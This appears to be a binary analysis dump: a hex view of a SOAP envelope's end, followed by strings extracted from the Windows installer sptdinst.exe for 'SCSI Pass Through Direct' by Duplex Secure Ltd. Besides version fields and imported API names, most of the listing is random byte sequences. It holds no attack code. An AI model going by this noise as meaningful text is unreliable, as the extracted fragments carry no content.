0x00000280 (00640)   6434352d 39663432 2d636431 61323565   d45-9f42-cd1a25e
0x00000290 (00656)   36613132 313c2f77 73613a4d 65737361   6a121</wsa:Messa
0x000002a0 (00672)   67654944 3e3c7773 613a5265 706c7954   geID><wsa:ReplyT
0x000002b0 (00688)   6f3e3c77 73613a41 64647265 73733e68   o><wsa:Address>h
0x000002c0 (00704)   7474703a 2f2f7363 68656d61 732e786d   ttp://schemas.xm
0x000002d0 (00720)   6c736f61 702e6f72 672f7773 2f323030   lsoap.org/ws/200
0x000002e0 (00736)   342f3038 2f616464 72657373 696e672f   4/08/addressing/
0x000002f0 (00752)   726f6c65 2f616e6f 6e796d6f 75733c2f   role/anonymous</
0x00000300 (00768)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000310 (00784)   613a5265 706c7954 6f3e3c77 73613a46   a:ReplyTo><wsa:F
0x00000320 (00800)   726f6d3e 3c777361 3a416464 72657373   rom><wsa:Address
0x00000330 (00816)   3e75726e 3a757569 643a3531 63363865   >urn:uuid:51c68e
0x00000340 (00832)   37302d37 3533622d 34353763 2d386139   70-753b-457c-8a9
0x00000350 (00848)   662d3131 65333564 32646539 39343c2f   f-11e35d2de994</
0x00000360 (00864)   7773613a 41646472 6573733e 3c2f7773   wsa:Address></ws
0x00000370 (00880)   613a4672 6f6d3e3c 6c6d733a 4c617267   a:From><lms:Larg
0x00000380 (00896)   654d6574 61646174 61537570 706f7274   eMetadataSupport
0x00000390 (00912)   2f3e3c2f 736f6170 3a486561 6465723e   /></soap:Header>
0x000003a0 (00928)   3c736f61 703a426f 64792f3e 3c2f736f   <soap:Body/></so
0x000003b0 (00944)   61703a45 6e76656c 6f70653e            ap:Envelope>


Strings
.
.
.
.}
.
.
~
.
.h.<..
.
.
.
.e
.
<
.
.
<
.
...;..
.
.
.
..C.M.......)
e./..E"B@e<&DA...6...6.......
J
.}}.
..
k
....
000004B0
1.81.0.0
1.81.0.0 built by: WinDDK
1ninstall
1nstall
Cancel
CompanyName
Copyright (C) 2004-2012
Duplex Secure Ltd.
FileDescription
FileVersion
InternalName
Jclsid\{4662daaa-d393-11d0-9a56-00c04fb68bf7}\progid
LegalCopyright
MS Sans Serif
MS Shell Dlg
OriginalFilename
ProductName
ProductVersion
SCSI Pass Through Direct
SCSI Pass Through Direct s1tup
sptdinst.exe
StringFileInfo
Translation
VarFileInfo
VS_VERSION_INFO
{`-+.@
0&=,1J=
0=;a3];
%0`fOb^.Kn^
0(<GYTsK
0/na"=%2v`OJG
0;?o/(?
0rtUc^-P
	_:1B61\
,<1gU\
!1LdG2]_U
1OmuaNi@2
1{PwvzSn
1RQPuC@Qoj:vE
1Rz@0ys
>}1.@yXM5mm
"22za^E
236`:Y
2#8m2J8L2M8
2Bh1tF
:2-H8.
2_`K v
2LG#6*gy
%_2pB~
2}|r_]
2W9e->93.
2z<i6o<
3`/BG8
`^<3Hl
3~k4=oL
:3}nM=
{3]r#EWe@2
3s!Saq*cKJ!s:C
>3@T"s
3w&	q)
3\yu:hu
44-R`Bf
-:4Gl-X
4j~G~_
4$ky*zk
4Le Bhe
<4Lmql
4M<YoJ
=:4N1:
4OpgYKt[mGxot
4p"JY^
4Say;Pq]
;.4W^@
4z:}5#9G5
?58O?f8
!5Am8PA
5DwsN5
5eP `8N A[Wn
^5g2Fwi
%5,MiZ
5p@m5I@
5tWazale
<)5`;V5
5:X+9R
5Ze%`l
	<@6	<
6"3N7H3
6d<W6Y<`6F<m6
6	nP~	
@6;oj/;
6	<SU<
6v~!(v
6x?<7Q?`7
70H~p$
+(7}6r
7BFNkv
7c>V7X>c7M>L7
7g-gYHh[@HiUmHe,
7*	<Hw
7j+::l
7&kj&E
7o8f5Ubz1dQI9COij6H4tlilSo5nod6nEUGumvEmJt4taXV2235s
81/k8L/
|83	<H
8(B?	pb
^8f\])
8RiTOU]U
	8Z!fDO[Rl
>92GI<P
9	7#eVR
9aNLad[lKNPfAF
9h\j,11
9L_VKJH
9uZ~B<
9W/@JFd
>a0k>10Q>
~!A1@#& S
a7'>B7
a7~Ex5~E_6~E^*~E]
~A-a,r
Ab?>rGQ
<AB]sE
ADVAPI32.dll
a]eKb]y
?[a:EOn,
aEuYzKx
a]&[fX=
AG[}VG
ahetvSo
*\ahi-
aJ|b4"S
aLee`[r
_amsg_exit
amV am
]anei]rCJRcaCYnI5<
(aPd@mJt
a[p(tWe
aQbWbxrKi
["atc'p
<"a]<U9K
a'uM=@k
auq)}?
aVdD ?9
a(wef^RL
aW<]IP8w
AZcdhLo
b0"")'
b45\	Q
b4#Gs[
%b8}k9
_]BAdtk
bc&$Gx
b%czA0A
bd"GsK
bDK6Z 
bDUa	1
bfZ:xv
#BgI@a"
b'gRB8t
.`Bh eGn 
BindIoCompletionCallback
>bJip.
@bKihqK
bm]kk##
b^[Nef
bNob*]r
bO,W.U+U/
bp1[jt
<BPkZg
bq6x/	%
&bQV2Ncx
@\.`]Br
b#st?F
btot[#n
\BX9	8
~bYmgp
ByNrUgNW6
b`Z\wgO
C(%-`}
C(,8CP
CB/5x,
|[cbj"V#.hi4zGaRLQx
CbS?R`Z
cd=,B"
CDGr[AhmSlWpVe
_cexit
C/}FE?
c^%F|[oH$
cGaRoj'^e
cGeRoj+^e
C\	<I)
|,-CI7
CjGe%\
cle%gGr
c[L#lK[
CloseHandle
CLSIDFromString
CoInitializeEx
_controlfp
ConvertStringSidToSidW
COuFDe
CoUninitialize
c^oyvfC
<` CpR
cqOF&	
CreateEventW
CreateFileW
CreateHalftonePalette
CreateMetaFileW
CreateThread
%c	&rZ
c	<S8_
cs!S[rveWr%r
cs:yScS{
cXlrK<C}o]trLUl
c{+Ym^&
cZ54$Y\8s]gXr
C^ZV{tgN{t7N{t
d>4aDT
@.data
DeleteCriticalSection
d[eu8<
d]euWmb
DeviceIoControl
~`d\gMaB#
DK\}<AFUa
dKeBIZc$gLo
__dllonexit
dO2$yR
d]oYy!N
<``DpR
Dq.*Bu
d]r3cYc
DScdfMoH}fW_g^oyzfCk{Le`}hetzSo
[:dt4(2k+
Dv{/n7
#dw]	c
dXt9)Le
~E7#~E6%~E%<~E$ ~E
e8~Et6~Es7~Ej+~Ea
~E8K~E?
E8Rtt8Pl[Y
e%9F5 >
>e^ '=AP
{e:BQdkgWHWe^lKF
~E<C~E;7~EB&~E9&~E 	
)~Ed&~Ec>~EZ!~E
EdTa8<
(=E]]FB
}EgI~EV'~E
EgWtyfKe
#E{H/H}\
_{EhpPt
EI)hl'
eKaCiMed{eI`^^r
eKe`_teoHbmK
eKt,&MpJiHe'$Na
e~LnEYR
eLS?fYl[E\jKiNEN
el'Un7
EMlT+AeC{xKe
E>Mn]AX
EnterCriticalSection
e]oiz!NzS|u4t^n:P^reMPn
E=p>.v
e]r3aas
eR j@o S`Xe 
_errno
~EsS~Ej"~E
|~eTzYgK}rrK|Wnz
%euue}
\eU(]x
EVb<P~M
~EwT~Ef#~E
EWxT9ElE2CVa
E{XtylLe
Ey&|au
EYe@3fPQ4N 
{ezBQd
{ezHQd
{eZKGr4iPt
{ezKQm
{eZWLoEF^dtbMs6
F0,u<0
f1S(9V
f-8_:<
?@FbUD
&fe5`t
feDKv] 
 |Fgibu
fHidfPmKdNS:xSnY{{
f[h<S(Q
 ,FH<uNd;{f
FillPath
(f?L0rg(
fLtGzUe4
FlushFileBuffers
FNt4a\u:mMA
<FPVMr
fqqxw#8
FreeLibrary
FRp[!}nE+Xi@3
fRtK`H-"iRgjf
Fs41wPg
fsA&8x
f{SnZo
f	t)&A
F<uVdw~6
FV8-*O
(f=V>f
fv	O=?
FvW]5}P
fWOe^oY|fC{yLe@
fWt)iKe2EZcteLo
FxTYHlERZgP
.g?@/@?
G6Y55#N
=G@|7Gi
G88T`	
Gab[Lozj]t&
Ga[Tkc
G^aZL?
gBLM~B
GDI32.dll
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetLastError
GetModuleHandleA
GetModuleHandleW
GetOverlappedResult
GetProcAddress
GetProcessHeap
GetSysColor
GetSystemDirectoryW
GetSystemMetrics
GetSystemTimeAsFileTime
GetTickCount
GetTraceEnableFlags
GetTraceEnableLevel
GetTraceLoggerHandle
GetVersionExW
_get|Zo@WnnOeLtWgU
GfX5%RM
ghDWxvP
G JKl//
.gKtL&Mp
{GOtqWr
GqLv)f
;gsA&e4j7_
G'U.C?
`@guFE
gWtYiKe
gXtinLe
gXtYeLeRKVau{Ws
gXtYmLeR[CsKx"SQlN
Gyr$P*)@
gZgDcR
H<2}?I
H53<HiM
^H5b<H
)<H5GL
H5p<H7
<H9P,h
HBBDNP
,hBJ$*
hDl8X/
~H.DmOg
HeapAlloc
HeapFree
HeapSetInformation
hedgSn
hed|So`WwxvgQr
<Hen<H7^j
h^eP.KuUk^s
het~So@YwxfiQrK
hfCk]Le`_}o@bLoB;Wt
hHiTZ];
HHm%"t
Hi?4Av	
HilAcv	
#*hiZh
HjIX~N\CxWw
H%k<Hq
hKlL*9
HlEBuSc$WMo
HobgIet
HoHP]e_AknNe\y<
h]ois!N
H=o.:O
/hOO/NL
h`PdueQsK	
HScdbMoHafW
<Hum<H
[huV9q
HVE^SOKo+NGl
hv[Zwy
hWtyfKe
hXNQdX~QdX
hXtifLe
HyTv)xN
h*_z(9
?^	%I!
I5(<I'
I),?|6
<I7 .A
?i7p@]7
~Ia3LNe2
i:B'n)Q
ibVU7v2ed
<I%d<Ia
Ie-dL/(
iE*R;T,Ke
+IfCk~Le`
IfC;\Le@b}oPbLo
<IggZX
Ih,@:#
<I)HTx
-ii@bQw
iiNF_fWAz~LiTyNeeE
IiQ2@v
I%j<Ia
<I/Jp!
I%k<Ia
I;'kjn
IkmFIc
)i"LAk
#i.LJ~
ilMsZy
-IMi	L
InitializeCriticalSection
InitializeCriticalSectionAndSpinCount
_initterm
)iNLW{NEd|Qr
InterlockedCompareExchange
InterlockedDecrement
InterlockedExchange
InterlockedIncrement
i]oyt!N
IOzO*Pa
I%p<Hi
+isA6c=j
IScdzMo
IUmFIe
<Iup<L
{iW^B<
iWi5:Ny
<IyF>Q
<IyMOc
j3x`0E
j5d[a=
J&CeX=
Je4VLr[
JfC;XLe@b}oPbLo
JGrtlPt
)<ji%:a
Jjzr?$$
jk$iUk
jMokw]e
J]ocD[u@iZ.K0W
JRA1|T/e
,js!0SRnFNtX@	u
JsnZrLnK3"SK3NiPpM\{4Wr
J<SXw'
J.VPac
J'VZ5P^
JZcdhLoHseW
:k3&3:
k-3hqB
k	_4ra*&
K6@	Ey_Wj
@k&AaA<v
Kc^oKi
)K&E7Rtd7PlKX
k^ed#Yx
KERNEL32.dll
!k+F6dp
kfH&	u
kfPaZN 
kNCQcRuZkLNGcWA&
k^o9_fC;`LePbhed_So`:gn_lMtWjV\
Koqu1+
kP PAN 
\KrKdMU
kr?rWFOjW
kSwNVoepwvK[N
KtALWt
k)<tN<
>#kvy)
k\XaZ?
k	=#Xs
k)XwL<P
.KYxeA{
KzEjEu.jEu
(	<L=4D
^<L7:t
{lAh[l'bVoU
<LdW<]&[_X=
LeaveCriticalSection
Lh 5:n e&
LHBZaC
.`Lh eEn 
lieC;q
LI_&O9$
L?Jt33u
$lK\E{vJ1]z
%:LlP,Jev	<
LMfH1N
}l}/Mj
lNAJiRtKxMIPlQ
(Ln>Cw
]lNfPo,
lNV[{Mi
LoadCursorA
LoadIconW
LoadLibraryA
LoadLibraryExW
LoB]Wt
($+loby
LocalAlloc
LocalFree
L<PaxeY+
LpJ,He'
LPuC:loQbfL
LQi#nC
_{[l@qO
lrakWs
lsAv7x
>	<L't
l!tK!LlW
LVau|WsRmQl
;lvYU^N
lwN|gX
lxiBm{
[Ly)}c
l(yYH.dXl
lZxwhO
(M\4WRuv
malFS,
m{%A=nj
m~cY-{1
memcpy
memset
~[meY~eD
;m	F`F
(_(mGc
m|%L:`
mLt{eVARjQck~
mm	<L/4c
mNcHqAt
mNnO@W:6
)mNV!bGm
MO@0M>
+<MO4q!
Mo4WCe
^MoHZfWO`^o
Motp9[
mPdDcJi[
mp_p[r
&MpZeHe
M(].r\	
mRaPjwn
)m/r]RU
m"SKr'p
msvcrt.dll
mSV*ofa*t_a+
MtAn.~
m"ufG&e
MXf?`StoA[sM
mXie|KyVeQt?cZzKz
m+YXOV
>(.n=_
(N7AGd2Z 
(Na`bOm52Ni@_
 N.%!ar
?%NcA~Y{XfS
N{COWnB
	nd}&n
NeC\TtG
neE]Li
neGbxiBa
Nfe%?znO
]NiCozi#o<
niexN]
NlErBSct`MoHcfWOa^oY|fC{}Le
Nn|Xsszk
Npgp^R[{Gee
\n:<]r5
NrAjme:
_nrBP3
n[}riWe
N:R{ut
nRy]tG
nVej&Od
nWcF>f-
nwQ>2>d
]N,y\M
>N_YS&
*N)za 
o3-?oS
_O4tW3y
/O7gI4]`
='o8aQ
OabUj]f	>Yj
oejOSl
(Oe%r{p&[fB!VGp
:o>"@f
)oFpyJ^ud
<oHFffYP`cRt2x<
/OJ-@X|"
oKu[}NA6
ole32.dll
OlF<Gj
;} O["naZ"cA\LeUZ
oNE^cNC
_onexit
'onQTCC
oo9Z*v
oSNY~A&
<@`O]t
Ot4x]hd
OtdjZr
Ottg]p
OutputDebugStringA
OwuPLd
oXed'Yx
}OZd'U
p1{yt)
<`P2Yx
P7`T.<
_PA~ba7
p)!B.}
.pBh uGn 5%
__p__commode
Pd7]eu[
pdh[rGb
pd`[rGb
PedLMfH
)P&F<9
__p__fmode
'p&G<9
 PG}TVJpR
|p)	<H
p)hwN<3f$
{|p+k;
pLm_d[tKZZr[m^
)p"nO1s
p%PY>/
_purecall
pWPta]euu
pxiBm{
PYNN)(]
*:]"Q0
Q!%0<J	
Q0jg`>P
/Q1;\-
Q5M	<H
q9	`#I
>q9J>S9l>
^$qa7KC
|Qc[{M
|Qc[{MIJ
QecyWtf
Q,~EH<~Eo)~En<~Em1~E,E~E+2~E2I~E)
qG7?\M
{Qle.Xo
qL.jwNNkRrrQpSlKt
qMokx]e
qMo[v]ef
QnPdwXi
qo8ixiBiwxw
qoHubB
	qoJyVe
[<qR3eU?N
QRaT	]L
Qs8kLt
QueryPerformanceCounter
#qWo.|
qwq)TA=
qZdUfE
qZg}^F
R7Buw4
r7p~81:
RaiseException
rb%)Lv
Rb_YQ{
{^]rCLWe
!RcQjYnI0<
`.rdata
ReadFile
RegCloseKey
RegisterTraceGuidsW
RegOpenKeyExW
RegQueryValueExA
RegQueryValueExW
RegSetValueExW
RevertToSelf
rE?WpO%Ep_
rfW?{^o9~fCk
Rg%]I<
R/;~gp.
-^R%HH
R	<HwJ
\R	<I)
#*rITD
R[iZDQr
rIZwtu
]R jHo ShXe 
rJ?mn>
Rk<W@^m
.rNpEqPd
rOG(e`V
rqRfRS[
r%rKS$a:ay
=RszfPl
^RtK`H-
RtlCaptureContext
r:-U^F
r'`uF<Y
<\rW\CW
R]y[Fz
RyYhLe
]S$4[Z
s$@9_D
SAE	/-i4%.
S$azay
Scd5MoHlfW?6^oiYfC[ZLe`lhetYSoPDsnZ;Ln
ScdgMoHbfW_d^o
S'd_K2
se:[(ihf"e
sej\(iXk"e
sejK'rdi
__set_app_type
SetEnvironmentVariableW
SetEvent
SetUnhandledExceptionFilter
__setusermatherr
	se*V(i
sezB#c]K
seZGuP&
sez[(i
sez\(ihk"e
seZV(i
sft	3vp
sH;NoE
sh= VI';
sjI(ra|
sJS@eXf[\
S*kFn<=[
SKk"iAh
SKl"iQe
sK-Nc^dLeB![t[*}nI%Re
sK,NcNcLeb [t
s)LgL<
Sms_]z
SmTkGfCkvLe``}o
sO2Jm$
s\P`0T
spKhrrQcWse
s_?R&JeHa#)K&a6Xm
sYFibha/:
t9u[	I
T$aXe 2
t_cHyA
t)D4I<
TddXe@2
t/eG-q
TerminateProcess
!This program cannot be run in DOS mode.
th]kSgY )=S.K1W
T[	<I5
$TiJc]n
tit|"FOk
T,iVNa
t||[Kh
t;khM4
=tKsx|U/
TlsAlloc
TlsFree
TlsGetValue
TlsSetValue
t>[}nE
t^nzQ^r
T^oiYfC[ZLe@Lhe4YSoPdgnOVMtGTV\
t~!oU{*Wx
tPd;cMI*
tPd{cMIz
TPHmsr
t#qN$.
TraceEvent
TraceMessage
+TrQ"]/d*Lot
$%.tT:
T|u4z^nj>^re_Pn&
tuq(JZW
t)xB-u
TYd\qTh
u1[U%u
_u 4pS{
u 5n-E
U6~EDZ~EC<~E:!~E1-~EhK~E/&~E.&~E-<~E,'~E+=~E2=~E)
U~aGFy
#_^ubi
ucW*oJr
U%ed~ve
UeWtygKe
UExTYGlE
%U}F)e
}>ugc^<
UmTkAfC{|Le@b}oPbLob[WtR[Wrxe]e
UnhandledExceptionFilter
unjpLn
_unlock
UnregisterTraceGuids
unzpLn
unZpLnKr}lA{WHWh^lK
~	U	|Q
U[Q>*'h
u^rWzZnI[Js
user32
USER32.dll
Usez[cK
>(UsfW
UT&CEX=
$^"#Uu-
uvOU!L
u}WaZjno
+U]WT]
U%w,Vg
VBDlku
VerifyVersionInfoW
VerSetConditionMask
v	@IBA
_VIC-*q
VirtualAllocEx
vN<9[vH	
@voO,7
@v	p)#~
v	p+{~
V]Qg'B
VQr%ZMvyqIz
VSfH[L_
_vsnprintf
_vsnwprintf
Vt_~Ve
%vvAz~uC 
VwBdwIsKBQt
VWnV=Sl
vXt)eLe2_SnFTPi
Vx-ZO+
WaitForSingleObject
%|Wajinhdi[d
W cfZd
W)c=`j^
_wcsicmp
wcsncmp
_wcsnicmp
W|	EnN
__wgetmainargs
Wh[dKlWh_@SlCDOp
wiIaNab
 Wk[54
),wL<3v
	Wl8x^
"wL,}J
W^o)3fC
wp56"~G
W_ppOP
WPta]e
WriteFile
]WrXc]euXmDDaosY
w'|tF<
WWrWC]:&
wX4mkn
wxT	ElE
(.,>|x
x ;6Ft8Au
xa<P_I
|XaZe<
_XcptFilter
)xF]uvAe
x^g_yMrO(Tae(^eKf!ov|Zm
X%h' >l0
!xh#LPR	!@l-
x#!|I%
;xid{N
_x{Iu_
XKliehQ]
XKliXKlie+l
 XM|7Q
_x	<Mo
Xnf2H Z>Le
xnuPVu
<X;o<@;~;
X^o93fC;4LePBhed3So`Jwx
xOaZ`Qn
xodVSnIiWOD_Wcj
xQcKvM
?*|]xQL
Xr7C*$
,^*}xs#
*Xti,Le
xT	MlE
XX6F=K0<
>=^%>Y
y2E5s=&k5
y%3"ik
Y4o@*Z
(Y7uV#6
Y9&J8#
y"AJjStO_Ps
</YB2,
<@ y]c8
y!C9&x?
Y[cJBV
&ygiF0
Yg?|Y 
YjMrEaL
yk$Caf+o
yKu)=E>
|YlAk<
Y;mn=cOw@
;yne?albjN
Y?NIUAPs_BXo>
Y{nj`mp_^[rKCQn:aJt
YnSHf<
y"O3uP~u
<[yPiJev
YQr[4fSNqVl
YSc4hMoH
Ys`hN7
Y|u4t^n:P^reMPn6
Yv/Mhy
Yx|=:+
yx%Z#:
YyVc3wQ
#?Yy?_X6a<rzHk
Z0HY4nl
(Zaxn[O
ZCj"iV
z}eS%=
zeW?e]o9|eCkyKe
zFGrdpPt
Zhe$[So
>Z$Hk@C}
zKob[^tR[^r8]\eeVmcf]Q\
ZlBi4*
ZLoI|[m5*{P
z_M\ifLee_[r=!YxK
ZO/G*TX
Zo`<No
Zo`=No
zPdkiMIj
$z\"p)r
zQcKyM34NSru|
Z~rMEWgIj
ZsEmPf
Z[tHWLm
z>U]^E
.Z=uFY
zWan5l]r
Z!`ZP	U